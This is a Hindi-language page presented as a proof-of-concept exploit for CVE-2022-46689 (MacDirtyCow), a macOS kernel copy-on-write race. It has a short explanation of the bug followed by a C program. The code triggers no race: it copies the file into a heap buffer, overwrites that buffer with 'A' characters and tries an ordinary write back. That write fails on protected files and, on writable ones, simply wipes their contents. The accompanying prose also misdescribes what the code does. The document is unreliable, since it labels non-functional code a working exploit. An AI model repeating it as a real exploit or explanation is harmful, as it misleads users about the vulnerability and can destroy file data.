
# CVE-2022-46689 (MacDirtyCow) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट macOS XNU कर्नेल में एक विशेषाधिकार वृद्धि (privilege escalation) भेद्यता, जो कॉपी-ऑन-राइट में रेस कंडीशन का फायदा उठाकर केवल-पठनीय रूट फाइलों को संशोधित करती है।
MacDirtyCow macOS में एक विशेषाधिकार वृद्धि भेद्यता है, जो Linux में Dirty COW भेद्यता के समान है। यह भेद्यता macOS के XNU कर्नेल द्वारा उपयोग किए जाने वाले कॉपी-ऑन-राइट (COW) तंत्र में रहती है। यह भेद्यता एक हमलावर को केवल-पढ़ने योग्य रूट-स्वामित्व वाली फ़ाइलों को संशोधित करने की अनुमति देती है, जिससे हमलावर प्रभावित सिस्टम पर रूट विशेषाधिकार प्राप्त कर सकता है।
यह भेद्यता macOS के XNU कर्नेल द्वारा मेमोरी पेजों पर कॉपी-ऑन-राइट (COW) संचालन को संभालने के तरीके में एक रेस कंडीशन के कारण होती है। जब कोई मेमोरी पेज केवल-पढ़ने योग्य चिह्नित होता है, लेकिन कॉपी-ऑन-राइट भी चिह्नित होता है, तो कर्नेल पेज पर राइट ऑपरेशन करने पर पेज की एक नई प्रतिलिपि बनाएगा। हालाँकि, केवल-पढ़ने योग्य पेज की जाँच किए जाने और नई प्रतिलिपि बनाए जाने के बीच समय की एक छोटी सी खिड़की होती है, जहाँ एक हमलावर मेमोरी में पेज को संशोधित कर सकता है, प्रभावी रूप से केवल-पढ़ने योग्य प्रतिबंध को दरकिनार कर सकता है।
यह कोड (poc.c) एक कमांड लाइन तर्क के रूप में निर्दिष्ट फ़ाइल को खोलता है और mmap() का उपयोग करके इसे मेमोरी में मैप करता है। फिर यह फ़ाइल की एक प्रतिलिपि बनाता है और फ़ाइल की मेमोरी-मैप की गई प्रतिलिपि को अक्षर 'A' से भरकर संशोधित करता है। अंत में, मूल फ़ाइल को फ़ाइल की संशोधित प्रतिलिपि से ओवरराइट कर दिया जाता है।
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <file>\n", argv[0]);
return 1;
}
int fd = open(argv[1], O_RDONLY);
if (fd == -1) {
perror("open");
return 1;
}
struct stat st;
if (fstat(fd, &st) == -1) {
perror("fstat");
close(fd);
return 1;
}
size_t len = st.st_size;
char *addr = mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) {
perror("mmap");
close(fd);
return 1;
}
close(fd);
char *new_addr = malloc(len);
if (new_addr == NULL) {
perror("malloc");
munmap(addr, len);
return 1;
}
memcpy(new_addr, addr, len);
memset(new_addr, 'A', len);
int fd2 = open(argv[1], O_WRONLY);
if (fd2 == -1) {
perror("open write");
free(new_addr);
munmap(addr, len);
return 1;
}
if (write(fd2, new_addr, len) != (ssize_t)len) {
perror("write");
close(fd2);
free(new_addr);
munmap(addr, len);
return 1;
}
close(fd2);
free(new_addr);
munmap(addr, len);
return 0;
}